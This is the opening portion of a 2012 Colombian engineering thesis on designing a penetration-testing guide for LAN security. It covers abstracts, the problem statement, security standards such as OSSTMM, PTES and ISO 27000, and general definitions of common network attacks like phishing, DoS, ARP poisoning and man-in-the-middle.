Proyecto Diseño e Implementación de Una Guia Técnica Para La Realización de Pruebas de Penetracion y Evaluacion de La Segur

November 6, 2017 | Author: jor1703 | Category: Phishing, Online Safety & Privacy, Computer Security, Computer Network, Information Age
Share Embed Donate


Short Description

Descripción: Proyecto grado...

Description

DISEÑO E IMPLEMENTACIÓN DE UNA GUIA TÉCNICA PARA LA REALIZACIÓN DE PRUEBAS DE PENETRACION Y EVALUACION DE LA SEGURIDAD INFORMATICA EN UNA RED DE COMPUTADORES LAN 1.

JACQUES ELOITE BERDEJO GUTIÉRREZ

UNIVERSIDAD AUTONOMA DEL CARIBE PROGRAMA DE INGENIERIA FACULTAD DE INGENIERIA ELECTRÓNICA Y TELECOMUNICACIONES BARRANQUILLA 2012

1

LAN: Local Area Network (Red de Área Local)

DISEÑO E IMPLEMENTACIÓN DE UNA GUIA TÉCNICA PARA LA REALIZACIÓN DE PRUEBAS DE PENETRACION Y EVALUACION DE LA SEGURIDAD INFORMATICA EN UNA RED DE COMPUTADORES LAN 2.

JACQUES ELOITE BERDEJO GUTIÉRREZ

TRABAJO DE GRADO PARA OPTAR EL TÍTULO DE INGENIERO ELECTRÓNICO Y DE TELECOMUNICACIONES

DIRECTOR DE PROYECTO: ASESOR METODOLOGICO:

UNIVERSIDAD AUTONOMA DEL CARIBE PROGRAMA DE INGENIERIA FACULTAD DE INGENIERIA ELECTRÓNICA Y TELECOMUNICACIONES BARRANQUILLA 2012

2

LAN: Local Area Network (Red de Área Local)

ABSTRACT Hoy en día las pruebas de penetración y las auditorias de seguridad informática son paradigmas de las tecnologías de la información que se realizan bajo diferentes plataformas con herramientas avanzadas para identificar, detectar y explotar cualquier vulnerabilidad que no se haya descubierto en un entorno de red determinado. Aplicando las metodologías apropiadas junto con unos objetivos definidos y un plan de pruebas programado meticulosamente obtendríamos una prueba de penetración sólida sobre cualquier red de computadores.

Esta guía de referencia técnica está enfocada en proporcionar una orientación sobre el desarrollo de habilidades prácticas de pruebas de penetración, por medio de herramientas hackers de vanguardia, así como también, diversas técnicas y estrategias desarrolladas paso a paso y de

forma coherente. Además, se mostraran procedimientos y escenarios de

ataques de intrusión en una red de computadores, con el fin de reflejar ejemplos reales.

También se explicará la forma de instalación y configuración de las diferentes herramientas usadas en las pruebas de penetración, se discutirá sobre los diferentes tipos de pruebas de penetración, metodologías para descubrir los agujeros de seguridad y un grupo de herramientas de valoración necesarias para dirigir la prueba de penetración a través de sus respectiva categorías como lo son: alcance del objetivo, recopilación de la información, descubrimiento del objetivo, enumeración, mapas de las vulnerabilidades, la ingeniería social, la explotación, la escalada de privilegios, el mantenimiento del acceso y generación de informes.

3

ABSTRACT (ingles) Today, penetration

testing

and IT

security audits are paradigms

of information

technologies that are performed under different platforms with advanced tools to identify, detect and exploit any vulnerability that don’t has been discovered in a given network. Applying appropriate methodologies with defined objectives and a carefully planned test plan would get a solid penetration test on any computer network.

This reference guide is focused on providing technical guidance in the development of practical skills of penetration tests through cutting-edge tools hackers, as well as, various techniques and strategies developed step by step and consistently. Also, procedures and scenarios in intrusion attacks in a computer network are shown, in order to reflect real examples.

It will also explain how to install and configure the different tools used in penetration testing, will discuss about the different types of penetration testing methodologies to discover security holes and a group of assessment tools needed to run the test penetration through their respective categories such as: target scoping, Gathering information, Target discovery, Enumerating Target, Vulnerability mapping, social engineering, exploitation, privilege escalation, maintaining access and reporting.

4

RESUMEN ANALÍTICO EJECUTIVO ( R.A.E.)

TITULO: DISEÑO E IMPLEMENTACIÓN DE UNA GUIA TÉCNICA PARA LA REALIZACIÓN DE PRUEBAS DE PENETRACION Y EVALUACION DE LA SEGURIDAD INFORMATICA EN UNA RED DE COMPUTADORES LAN

TIPO DE DOCUMENTO: Trabajo de Grado para optar el título de Ingeniero en Electrónica y Telecomunicaciones

AUTOR: Jacques Eloite Berdejo Gutiérrez

ENTIDAD O EMPRESA: Hospital Municipal de Sabanagrande

LUGAR Y FECHA PRESENTACIÓN: Universidad Autónoma Del Caribe Junio 13 de 2012 5

PALABRAS CLAVES: Pruebas de

penetración (Pen-Testing),

Seguridad Informática,

Redes de

computadores, Sistemas operativos, Exploits, Payloads, Virus, Shellcode, Módulo, Listener, vulnerabilidades, amenazas, ataques, protocolos, TCP/IP, Capas OSI, estándares internacionales.

DESCRIPCIÓN DEL CONTENIDO: En este proyecto se muestran las diferentes formas de realizar las pruebas de penetración para la seguridad informática, con el fin de encontrar posibles fallas a nivel de red, software y servicios en una empresa totalmente sistematizada.

Se abordan temas tales como la utilización de ciertas aplicaciones informáticas, que tienen como finalidad ayudar al ingeniero o al profesional de TI, encargado de administrar el correcto funcionamiento de una red de computadores, a encontrar amenazas y agujeros en la seguridad de la red. La importancia de esto en hallar dichas fallas y mitigar su impacto a un mínimo; debido a que existe la posibilidad de que se pierda o sea robada información vital de la empresa, la cual hoy en día es valorada como un activo muy valioso

METODOLOGÍA: La verificación de la validez de las técnicas empleadas para la recolección de datos es necesaria para asegurar un proyecto veraz, confiable y que este dentro de los cánones que se dictan en la seguridad informática. Se realizaran observaciones objetivas y exactas, para describir, analizar e interpretar los datos obtenidos, en términos claros y precisos. 6

FUENTES:

PRIMARIAS: Libros, documentos, revistas, páginas Web, artículos, enciclopedias, manuales, catálogos.

SECUNDARIAS: Entrevistas no formales, visitas, observación directa, pruebas en laboratorio

TIPO DE ESTUDIO: Para el desarrollo de la investigación es necesario emplear una metodología idónea, la cual sea apropiada para el tipo de proyecto que permita alcanzar los objetivos propuestos y solucionar el interrogante central al igual que las inquietudes surgidas durante el desarrollo del proyecto.

En el presente estudio se emplea la investigación descriptiva porque se fundamenta sobre realidades de hecho. Esta describe, analiza e interpreta la naturaleza actual del fenómeno en estudio. Además, El objetivo de la investigación descriptiva consiste en llegar a conocer las situaciones, costumbres y actitudes predominantes a través de la descripción exacta de las actividades, objetos, procesos y personas. Su meta no se limita a la recolección de datos, sino a la predicción e identificación de las relaciones que existen entre dos o más variables. Los investigadores no son meros tabuladores, sino que recogen los datos sobre la base de 7

una hipótesis o teoría, exponen y resumen la información de manera cuidadosa y luego analizan minuciosamente los resultados, a fin de extraer generalizaciones significativas que contribuyan al conocimiento.

MÉTODO DE INVESTIGACIÓN: Las pruebas de penetración son un tema ya usado a nivel mundial y sobre el cual se ha realizado toda clase de experimentación y aplicaciones, de tal manera que la tecnología actual nos permite obtener hoy en día metodologías y herramientas técnicas poderosas; podemos decir que este proyecto inicia desde una base experimental muy bien especificada y documentada, la cual nos da unos planteamientos teóricos y una determinada situación tangible que, mediante la posterior integración de elementos presentes en ella, podemos hallarle una solución a las necesidades identificadas en la descripción del problema de este anteproyecto. Por lo tanto emplearemos el método deductivo como método de investigación.

8

NOTA DE ACEPTACION

APROBADO

Ing. _____________________ Presidente del Jurado

Ing. ____________________ Jurado

Barranquilla, Mayo de 2012

9

DEDICATORIAS

10

AGRADECIMIENTOS

11

Tabla de Contenido

LISTA DE FIGURAS .......................................................................................................... 13 1.

INTRODUCCIÓN ........................................................................................................ 14

2.

DESCRIPCION DEL PROBLEMA. ............................................................................ 15 2.1.

PLANTEAMIENTO DEL PROBLEMA. ............................................................. 15

2.2.

IMPACTO ESPERADO. ...................................................................................... 16

2.3.

USUARIOS DIRECTOS E INDIRECTOS .......................................................... 17

2.4.

MARCO TEORICO Y ESTADO DEL ARTE ..................................................... 18

2.5.

OBJETIVOS .......................................................................................................... 42

2.6.

METODOLOGÍA PROPUESTA.......................................................................... 43

3.

ANÁLISIS DE RESULTADO Y PROPUESTA INGENIERIL ................................ 45

4.

CONCLUSIONES Y RECOMENDACIONES ......................................................... 100

5.

BIBLIOGRAFIA........................................................................................................ 101

12

LISTA DE FIGURAS

Figura 1. Ventana Principal de Nessus Figura 2. Ventana de configuración de políticas Figura 3. Configuración general. Figura 4. Seleccionando los plug-ins para el escaneo Figura 5. Las nuevas políticas añadidas a Nessus Figura 6. Configurando un escaneo en Nessus Figura 7. Resumen del reporte del escaneo y puertos encontrados Figura 8. Log mostrado en el editor de texto “kate”

13

1. INTRODUCCIÓN El área de las telecomunicaciones enfocada a los

sistemas de redes e internet ha

evolucionado vertiginosamente permitiendo a los investigadores y conocedores de la materia el desarrollo de innumerables cantidades de dispositivos y que facilitan de gran manera algunas labores del ser humano. Este tipo de sistemas garantiza en su mayoría un muy buen rendimiento y confiabilidad, a través de un de control de acceso a sus recursos por parte de los usuarios internos o externos, de tal forma que disminuye las brechas de seguridad al mínimo, mermando así los errores generados por la por la acción del hombre

En las redes de computadores e internet son importantes los controles de acceso y las políticas de seguridad aplicados sobre los servicios y recursos que poseen los servidores de una determinada empresa, puesto que de ellos depende en gran medida la confidencialidad, la preservación y la integridad de los datos vitales de esta. Hoy en día existen aplicaciones las cuales son muy usadas para comprobar si las políticas de seguridad y los controles que realizan los administradores sobre la red, poseen agujeros o fallas. Es precisamente en este proyecto en donde hacemos uso de la tecnología informática existente en el campo de la seguridad de la información y las pruebas de penetración para desarrollar esta propuesta.

La proliferación de ataques mediante los virus y las amenazas que ello implica sobre una red, y por ende sobre sus datos; nos permitieron desarrollar un guía técnica para la realización de pruebas de penetración y la evaluación de la seguridad informática en una red de computadores, basada sobre ciertas herramientas de alto rendimiento como lo son

14

BackTrack y Metasploit Framework. Esto con el fin de cumplir los objetivos planteados en este documento. La idea general del proyecto es la de facilitar la tarea de los administradores de red y a los profesionales de TI (Tecnologías de la Información) con escasos o nulos conceptos sobre este tema; de tal forma que estos puedan mitigar los errores intrínsecos .

2. DESCRIPCION DEL PROBLEMA. 2.1. PLANTEAMIENTO DEL PROBLEMA. Las organizaciones se han visto en la necesidad de conectarse en red para aumentar el rendimiento de sus procesos y compartir tanto recursos como información, actividades que les permiten alcanzar de manera acelerada sus objetivos económicos. Asimismo, se han visto en la imperante necesidad de conectarse a la Internet para poder llegar a mayor cantidad de clientes y posibles consumidores. Sin embargo, esta conexión entre computadores y la apertura a la red trae como consecuencia la posibilidad de ser vulnerables ante personas malintencionadas cuyo propósito puede ser tanto el robo de información, como la simple destrucción de protocolos, estándares y procesos de las empresas, ya que el uso de dispositivos compartidos lleva como consecuencia inevitable la apertura de puertos y agujeros en los esquemas de conexión.

Esta problemática nos lleva a pensar en que las redes deben ser administradas y vigiladas de una manera eficiente y cuidadosa por personal calificado en la seguridad de las mismas. Y no solo esto, como las redes son manipuladas por usuarios, muchas veces 15

las herramientas usadas para su protección no son suficientes para que los usuarios, sea por error o con intención, no generen vulnerabilidades y posibles daños a la red.

Por esta razón es que el administrador de la red debe tener conocimiento de las diversas políticas que pueden y deben instaurarse en una organización para proteger su información. Esta guía técnica está dirigida principalmente a formar las competencias necesarias que habilitan a un administrador de red para proteger, controlar, politizar y volver eficiente, la transferencia y uso de la información en las redes.

2.2. IMPACTO ESPERADO. De forma general con este proyecto se espera que se haga conciencia en el Ingeniero Electrónico y Telecomunicaciones, y en el de sistemas; acerca de la seriedad que se debe tener en la seguridad de los datos en las redes corporativas. Además, que se manejen adecuadamente las diferentes metodologías en pruebas de penetración, se conozca el uso de las herramientas más utilizadas en este proceso; con el fin de prestar un servicio óptimo de seguridad informática en cualquier red corporativa. Particularmente éste intenta introducir, inicialmente, al estudiante de pregrado en ingeniería de Sistemas, Electrónica o cualquier rama afín, a la seguridad en las tecnologías de la información, de modo que los usuarios encuentren en ella una herramienta de continuidad, confiable y eficiente, para la búsqueda de vulnerabilidades y sus posibles soluciones. De esta forma se aporta a las empresas el beneficio de una

16

política de buenas prácticas de seguridad informática adecuada, controlada mediante un recurso humano preparado para tal cometido. La administración de los recursos informáticos y tecnológicos se realizará confiablemente debido a los procesos que se describirán aquí.

2.3. USUARIOS DIRECTOS E INDIRECTOS Este proyecto es planteado inicialmente con el objetivo de facilitar la comprensión, de las diferentes metodologías aplicadas en las pruebas de penetración, a los estudiantes de las ingenierías relacionadas con las tecnologías de la información. Sin embargo, otras entidades pueden beneficiarse directamente de la ejecución de este proyecto, mediante la realización de laboratorios de pruebas de dichas técnicas. Los administradores de red, los estudiantes de certificaciones (CEH3, CISSP4, CISA5, CCSP6, etc.) y los administradores seguridad de TI; son otros usuarios directos que se pueden beneficiar con este material. Con esto en mente, se buscará realizar este proyecto de forma eficiente y confiable, puesto que está siendo diseñado teniendo en cuenta los estándares implicados en el proceso de la búsqueda de vulnerabilidades.

El sector empresarial se beneficiará de forma indirecta, porque los egresados de la Universidad Autónoma del Caribe u otras universidades, podrían aplicar estas

Certified Ethical Hacker: es una certificación profesional promovida por el Consorcio Internacional de Consultas de Comercio Electrónico 4 Certified Information Systems Security Professional: es una certificación de seguridad de la información profesional otorgada por la “International Information Systems Security Certification Consortium", 5 Certified Information Systems Auditor (CISA) es una certificación para auditores de sistemas de información 6 Cisco Certified Security Professional: certificación de seguridad para dispositivos y sistemas basados en cisco 3

17

metodologías en las redes de computadores de estas. También aquellas personas capacitadas en carreras técnicas o tecnológicas relacionadas con las redes de computadores y tecnologías de la información, puesto que hoy en día no solo basta con saber instalar y configurar una red, sino también asegurar su funcionamiento y proteger su información de acuerdo a las especificaciones de seguridad informática actual.

2.4. MARCO TEORICO Y ESTADO DEL ARTE Debido a la disposición geográfica y a los múltiples equipos y sistemas que conforman una red, con toda seguridad nos atreveríamos a decir que es un marco idóneo para posibles ataques y operaciones no autorizadas. El uso malicioso de las redes para afectar tanto a la seguridad de los sistemas como la validez de la información que se almacena o se transfiere. Modificar y falsificar un documento electrónico es mucho más sencillo de hacerlo sobre un documento escrito en papel. Así mismo, debido al acceso remoto, es sumamente fácil realizar una intrusión en una red que no posee unas políticas de seguridad establecida de forma predeterminada.

Dichas vulnerabilidades de las redes de computadoras hace necesario introducir ciertas medidas que las protejan contra usos maliciosos. Ello se consigue con una adecuada aplicación de las técnicas de seguridad en redes, en donde la determinación de las vulnerabilidades y los mecanismos criptográficos juegan un rol importante a la hora de establecer la seguridad de los datos y la infraestructura de la red.

18

Inicialmente, el termino seguridad en redes no tiene un concepto distinto, del que asociamos de forma cotidiana, a la seguridad. Como bien sabemos este concepto se refiere a la búsqueda de protección basada en ciertos elementos de soporte. Por ejemplo la seguridad que poseen los ciudadanos en las calles la presta la Policía Nacional, la de una casa la puede prestar un sistema de alarmas y cámaras de vigilancia, etc. De igual forma, en las redes informáticas se utilizan diversos elementos para sostener la integridad de los datos y la configuración lógica de ésta.

Lo que se pretende es minimizar las vulnerabilidades de los sistemas en su conjunto, puesto que la seguridad en redes no es total; recuerde que todo diseño de software posee “bug”7, los cuales son aprovechados por aquellas personas malintencionadas. Así también, debemos tener en cuenta que cuando se construye un “escudo protector” contra determinados ataques, siempre será posible romper ese escudo; entonces cabe la pregunta: ¿Cómo debemos actuar desde un esquema de ingeniería para resolver el problema? La respuesta correcta será la de implantar unas medidas de seguridad que sean proporcionales a lo que se intenta proteger; es decir se debe planificar, pronosticar y predeterminar las contingencias y protecciones de acuerdo a las necesidades del o los sistemas.

Antes de pasar a las metodologías de las pruebas de penetración, debemos conocer los diferentes conceptos y prerrequisitos relacionados con esta práctica. Este campo de

Un defecto de software, es el resultado de un fallo o deficiencia durante el proceso de creación de programas de computadora (software) 7

19

acción del ingeniero en este tema es muy amplio, cubre una gran cantidad de información y conocimientos, que debemos dominar, para llevar a buen término nuestra tarea de planificación y puesta en marcha.

En la actualidad la tecnología que se maneja en los grandes escenarios suelen estar compuestos por diferentes servidores bajo plataformas como Unix, Solaris, Linux, FreeBSD, Ubuntu, OpenBSD o Windows Server. Por lo tanto, no es recomendable conocer y administrar una plataforma única si estamos decididos a abordar la seguridad informática en cuestiones técnicas o bien formar parte de un equipo.

Los chequeos de seguridad se pueden llevar a cabo desde diferentes sistemas operativos, pero teniendo en cuenta que no todos ofrecen las mismas herramientas, condiciones de trabajo y versatilidad. Para mejorar nuestros conocimientos debemos aprender a administrar estos sistemas operativos, conocer cómo funcionan, su configuración segura y de red, su estructura interna, los comandos usuales y los avanzados, los controles que tiene, sus “logs” o archivos de auditoría, cómo instalar aplicaciones en él y también desinstalarlas, como actualizarlo, parchearlo o modificarlo de acuerdo a nuestros interés, ver la estructura y las limitaciones en los privilegios de cada grupo de usuarios.

Lógicamente, para aprender a administrar un servidor, ya sea Unix, Linux o Windows, primero hay que instalarlo. Luego se deben utilizar sus comandos y estudiar su estructura interna, gestionar los usuarios del sistema y sus diferentes permisos, conocer 20

cada servicio nativo y deshabilitar aquellos que sean innecesarios, crear relaciones de confianza entre componentes en red a través de diversos métodos. También, auditar sus archivos de registro, conocer bien los “logs” y cuál es la información relevante que se deposita en ellos, intentar el filtrado de protocolos y conexiones externas, mantener actualizado todo lo posible (incluido el kernel en el caso de Linux), determinar qué cosas no pueden dejarse por defecto (como passwords, usuarios, aplicaciones, directorios, privilegios, configuraciones y archivos), probar aplicaciones y tecnologías usuales como apache, mysql u openssl, etc.

De este modo, se comienzan a aplicar los métodos de hardening8, se van adquiriendo nociones de administración avanzada. A su vez, esto nos ayuda a conocer las características débiles de un sistema instalado por defecto, lo que nos permitirá reconocerlas fácilmente en los futuros escenarios en los que estemos involucrados. La instalación y la administración seguras de servidores llevada a cabo de un modo realmente eficiente, ayudará a prevenir la intromisión en el sistema (a través del sistema operativo) de alguien no autorizado. Un sistema operativo es apenas una puerta entre la decena de posibilidades.

Existen otros conocimientos y habilidades que debemos dominar, además de los sistemas operativos. Los dispositivos utilizados en la interconexión de equipos terminales o entre redes, juegan un papel importante en este tema. Los Switches, Routers, Hubs, Firewalls y puntos de acceso inalámbricos (Wireless AP) son otros 8

Volver más seguro al servidor

21

equipos que traen consigo sus propias vulnerabilidades intrínsecas en sus softwares. Como bien sabemos, la mayoría de estos dispositivos trabajan en diferentes niveles del modelo de referencia OSI9; por lo tanto, ejecutan diferentes protocolos de servicios para cumplir con su tarea.

Así pues podemos tomar como ejemplo uno de estos protocolos en particular como lo es el SNMP10, este es un protocolo del nivel de aplicación (nivel 7) que facilita el intercambio de información de administración entre dispositivos de red. Es parte de la familia de protocolos TCP/IP, este permite a los administradores supervisar el funcionamiento de la red, buscar y resolver sus problemas, y planear su crecimiento. Actualmente está en su versión 3.

SNMP puede utilizarse de varias maneras: 

Para configurar dispositivos remotos: desde el NMS11 configuramos los equipos.



Para supervisar el rendimiento de la red: se puede hacer un seguimiento de la velocidad de la red



Para detectar fallos de red: Puede llevar una alarma al NMS cuando se apague un dispositivo o se detecte un error de enlace con un router



Para auditar el uso de la red: Se puede auditar el uso de los equipos por sus usuarios.

9

Open System Interconnection (Interconexión de Sistemas Abiertos - ISO) Simple Network Management Protocol (Protocolo Simple para la Administración de Redes) 11 Network Management Station (Estación de Administración de Red) 10

22

Los administradores deben implementar claves de seguridad y de autenticación para evitar la intercepción de estos mensajes, puesto que estos viajan a través de la red sin ningún tipo de encriptación, en el caso de SNMPv1 y v2. Deben deshabilitarse en los Switches y Routers que posean esta herramienta la configuración por defecto (default); además, es poco recomendable trabajar con el protocolo de trasporte UDP 12 que utiliza SNMP.

Antes de pasar a definir los diferentes tipos de ataques, se hace imprescindible hablar de los estándares internacionales que controlan la seguridad informática. Estos están encargados de asegurar los servicios de prevención de riesgos y de asistencia a los tratamientos de incidencia, como es el CERT/CC (Computer Emergency Response Team/Coordination Center) del SEI (Software Engineering Institute) de la Carnegie Mellon University; el cual proporciona dos métodos para la evaluación de riesgos en las organizaciones; los cuales son el Método OCTAVE y el Método CURE. Estos poseen cierto número de fases y procesos que permiten reducir los riesgos de ataques. Así pues, si tomamos el método OCTAVE, los procesos, con sus respectivas fases, que estarían involucrados en la búsqueda, análisis y valoración de vulnerabilidades serian: el proceso 4 de la Fase I ; los procesos 5 y 6 de la Fase II.

12

User Datagram Protocol – Protocolo de datagramas de usuarios

23

Otra norma para la seguridad informática es la ISO/IEC 27000. Esta norma proporciona una visión general de las normas que componen la serie 27000, una introducción a los Sistemas de Gestión de Seguridad de la Información (SGSI); una breve descripción del proceso “Plan-Do-Check-Act”; términos y definiciones que se emplean en toda la serie. La serie ISO/IEC 27000 establece una guía de buenas prácticas que describe los objetivos de control y controles recomendables en cuanto a seguridad de la información. La norma ISO 27005:2008 contiene un anexo (Anexo D) que resume los métodos y ejemplos para valorar las vulnerabilidades técnicas.

Existen dos metodologías confiables que a través del tiempo han ganado reputación en el sector de la seguridad informática y en particular en las pruebas de penetración, estas son: OSSTMM (Open Source Security Testing Methodology Manual) y PTES (Penetration Testing Execution Standart).

La primera de ellas es una metodología estándar profesional completa y comúnmente utilizada en Auditorías de Seguridad para revisar la Seguridad de los Sistemas. Es un conjunto de reglas y lineamientos para cuándo, qué y cuáles eventos son testeados. Esta metodología cubre únicamente las pruebas de seguridad externas, es decir, testear la seguridad desde un entorno no privilegiado hacia un entorno privilegiado, para evadir los componentes de seguridad, procesos y alarmas y ganar acceso privilegiado. Además, incluye un marco de trabajo que describe las fases que habría que realizar para 24

la ejecución de la auditoría. Este manual se ha logrado gracias a un consenso entre más de 150 expertos internacionales sobre el tema, que colaboran entre sí mediante Internet. Se encuentra en constante evolución y actualmente se compone un documento que reúne, de forma estandarizada y ordenada, las diversas verificaciones y pruebas que debe realizar un profesional de la seguridad informática durante el desarrollo de las auditorías y verificaciones de la seguridad. Actualmente se compone de las siguientes fases:

Sección A -Seguridad de la Información

1. Revision de la Inteligencia Competitiva 2. Revision de Privacidad 3. Recolección de Documentos

Sección B - Seguridad de los Procesos

1. Pruebas de Solicitud 2. Pruebas de Sugerencia Dirigida 3. Pruebas de las Personas Confiables

Sección C - Seguridad en las tecnologías de Internet

1. Logística y Controles 2. Exploración de Red 3. Identificación de los Servicios del Sistema

25

4. Búsqueda de Información Competitiva 5. Revisión de Privacidad 6. Obtención de Documentos 7. Búsqueda y Verificación de Vulnerabilidades 8. Pruebas de Aplicaciones de Internet 9. Enrutamiento 10. Pruebas de Sistemas Confiados 11. Pruebas de Control de Acceso 12. Pruebas de Sistema de Detección de Intrusos 13. Pruebas de Medidas de Contingencia 14. Descifrado de Contraseñas 15. Pruebas de Denegación de Servicios 16. Evaluación de Políticas de Seguridad

Sección D - Seguridad en las Comunicaciones

1. Pruebas de PBX 2. Pruebas del Correo de Voz 3. Revisión del FAX 4. Pruebas del Modem

Sección E - Seguridad Inalámbrica

1. Verificación de Radiación Electromagnética (EMR) 2. Verificación de Redes Inalámbricas [802.11] 26

3. Verificación de Redes Bluetooth 4. Verificación de Dispositivos de Entrada Inalámbricos 5. Verificación de Dispositivos de Mano Inalámbricos 6. Verificación de Comunicaciones sin Cable 7. Verificación de Dispositivos de Vigilancia Inalámbricos 8. Verificación de Dispositivos de Transacción Inalámbricos 9. Verficación de RFID 10. Verificación de Sistemas Infrarrojos 11. Revisión de Privacidad

Sección F - Seguridad Física

1. Revisión de Perímetro 2. Revisión de monitoreo 3. Evaluación de Controles de Acceso 4. Revisión de Respuesta de Alarmas 5. Revisión de Ubicación 6. Revisión de Entorno

La segunda en mención es un estándar que esta redefiniendo la forma de realizar las pruebas de penetración, afectando tanto a los nuevos como a los más experimentados en esta área y que ha sido adoptado por varios miembros destacados de la comunidad de seguridad informática. Este tiene por objeto definir y crear conciencia sobre el 27

significado de una prueba de penetración. La PTES se basa en una línea básica de principios fundamentales que se requieren para llevar a cabo una prueba de penetración. Las fases que definen este estándar se describen más adelante en el presente proyecto.

En este documento no haremos una explicación detallada de cada norma, con sus respectivos anexos, fases y procesos; porque está fuera del alcance del proyecto. Para una mejor comprensión de ellos refiérase a las siguientes direcciones web: http://www.cert.org/octave,

http://www.iso27000.es/,

http://www.pentest-

standard.org/, http://www.isecom.org/

Actualmente existen un sin número de amenazas y ataques en la red, contra los cuales debemos saber hacerle frente. Para esto, el conocimiento que tenemos de ellos es el arma primordial que debe tener todo administrador de seguridad informática.

En los siguientes párrafos se abordaran una serie de conceptos claves que permitirán entender más adecuadamente el problema y establecer un vocabulario con el que referirse a los diferentes aspectos. La conceptualización y terminología que se utilizará pertenece en su mayor parte a la norma genérica.

28

Una amenaza (threat, en ingles) se define como cualquier violación potencial de la seguridad. La información que circula, se procesa y se almacena en una red está sometida a varios tipos de amenaza que pueden ser clasificadas, principalmente, en cuatro grupos:

i.

Destrucción de la información u otros recursos, quedando estos inutilizados o desaparecida la información que ellos contenían

ii.

Modificación de la información, produciendo añadidos, sustracciones o permutaciones entre sus distintas partes.

iii.

Robo de información o publicación indebida de ésta, de forma que personas diferentes a las legítimas implicadas tengan conocimientos de ella.

iv.

Interrupción del servicio, consistente en que un determinado usuario deja de tener acceso a un recurso o servicio de red.

Por otra parte, las amenazas pueden ser accidentales o intencionales. Amenazas accidentales son aquellas que aparecen de forma no premeditada: disfunciones en los sistemas, fallos de software, operaciones indebidas por parte de algún usuario inexperto, etc. El método para su tratamiento y prevención debe ser similar a los procedimientos que se siguen en el caso de sistemas informáticos aislados: revisión periódica de los equipos, prueba del correcto funcionamiento de los programas informáticos, mantenimiento de las instalaciones, formación adecuada del personal para evitar errores

29

humanos, etc. Deberán ser tenidas en cuenta en un Análisis de Riesgos global, pero su incidencia en los protocolos específicos de seguridad es secundaria.

Las amenazas intencionales presuponen la participación maliciosa de un sujeto o entidad que pretende hacer un uso indebido de la red. Una amenaza intencional se denomina “ataque”. Estos se clasifican en ataques activos y ataques pasivos. Los primeros son aquellos que alteran el comportamiento normal del recurso o servicio teleinformático que está siendo atacado: una información desaparece, o es cambiada, o un sistema envía datos hacia direcciones no previstas, etc. Los ataques pasivos, el atacante no altera la comunicación, sólo la escucha o monitoriza, para obtener información. Por tanto este tipo de ataques suelen usar técnicas de escucha de paquetes (sniffing) y de análisis de tráfico, son difíciles de detectar ya que no implican alteración de los datos. Se pueden prevenir mediante el cifrado de la información.

Entre los tipos de ataques más significativos que pueden presentarse en el entorno de redes, se pueden destacar la suplantación de identidad en línea, o phishing (pronunciado como la palabra inglesa fishing), es una forma de engañar a los usuarios para que revelen información personal o financiera mediante un mensaje de correo electrónico o sitio web fraudulento. Normalmente, una estafa por suplantación de identidad empieza con un mensaje de correo electrónico que parece un comunicado oficial de una fuente de confianza, como un banco, una compañía de tarjeta de crédito o un comerciante en 30

línea reconocido. En el mensaje de correo electrónico, se dirige a los destinatarios a un sitio web fraudulento, donde se les pide que proporcionen sus datos personales, como un número de cuenta o una contraseña. Después, esta información se usa para el robo de identidad.

Seguidamente

podemos

nombrar

a

la

denegación

de

servicio

llamado

ataque DoS (Denial of Service), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible a los usuarios legítimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima. Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le denomina "denegación", pues hace que el servidor no dé abasto a la cantidad de solicitudes. Esta técnica es usada por los llamados Crackers para dejar fuera de servicio a servidores objetivo.

El spoofing es un ataque que se basa en actuar en el nombre de otro usuario tal y como si fuese él mismo. Este ataque se pueden realizar por diferentes protocolos, arrojando variantes de éste, tales como: IP Spoofing, ARP Spoofing, DNS Spoofing, Web Spoofing y Mail Spoofing.

31

El sniffing es un ataque realmente efectivo, puesto que permite la obtención de gran cantidad de información sensible enviada sin encriptar, como por ejemplo: usuarios, claves, direcciones de e-mail, números de tarjetas de créditos, etc.

Una técnica usada para infiltrarse en una red Ethernet conmutada (basada en switch y no en hubs) es el ARP Poissoning, el cual puede permitir al atacante husmear paquetes de datos en la LAN, modificar el tráfico, o incluso detenerlo. El principio del ARP Spoofing es enviar mensajes ARP falsos (falsificados, o spoofed) a la Ethernet. Normalmente la finalidad es asociar la dirección MAC del atacante con la dirección IP de otro nodo (el nodo atacado), como por ejemplo la puerta de enlace predeterminada (gateway). Cualquier tráfico dirigido a la dirección IP de ese nodo, será erróneamente enviado al atacante, en lugar de a su destino real.

El SSH Fingerprint es una técnica que permite extraer información de un sistema concreto a través del fingerprint, es decir, la obtención de su huella identificativa respecto a la pila TCP/IP. Un fingerprint son unas huellas digitales en la pila TCP/IP. Es una colección pasiva de configuraciones y atributos que posee un dispositivo remoto durante una comunicación estándar de la capa 4 del modelo OSI en una red. La combinación de los parámetros pueden ser usados para interferir en una maquina remota con un sistema operativo determinado.

32

Otra técnica muy común es el Man-in-the-middle (Hombre en el medio) es un ataque en el que el enemigo adquiere la capacidad de leer, insertar y modificar a voluntad, los mensajes entre dos partes sin que ninguna de ellas conozca que el enlace entre ellos ha sido violado. El atacante debe ser capaz de observar e interceptar mensajes entre las dos víctimas, colocándose entre el medio del servidor y el host de la víctima, de ahí viene su nombre.

Podemos seguir hablando de los diferentes tipos de ataque, pero son demasiados para abordarlos en este documento. De igual forma, podemos decir lo mismo de los programas maliciosos creados para cumplir con el cometido de infiltrarse en las redes, tales como gusanos, caballos de Troya, backdoors, etc. Podemos encontrar información referente a ellos en muchas páginas creadas con este fin. Tenga en cuenta que debemos conocer contra qué nos enfrentamos, por lo tanto no podemos tomar a la ligera este conocimiento.

Una Vulnerabilidad es la capacidad, las condiciones y características del sistema mismo (incluyendo la entidad que lo maneja), que lo hace susceptible a amenazas, con el resultado de sufrir algún daño. En otras palabras, es la capacitad y posibilidad de un sistema de responder o reaccionar a una amenaza o de recuperarse de un daño. Las vulnerabilidades están en directa interrelación con las amenazas porque si no existe una

33

amenaza, tampoco existe la vulnerabilidad o no tiene importancia, porque no se puede ocasionar un daño.

Las evaluaciones de vulnerabilidad se pueden dividir en dos grandes categorías: Desde afuera viendo hacia adentro (Cover penetration testing) y Desde adentro viendo alrededor (Overt penetration testing) .

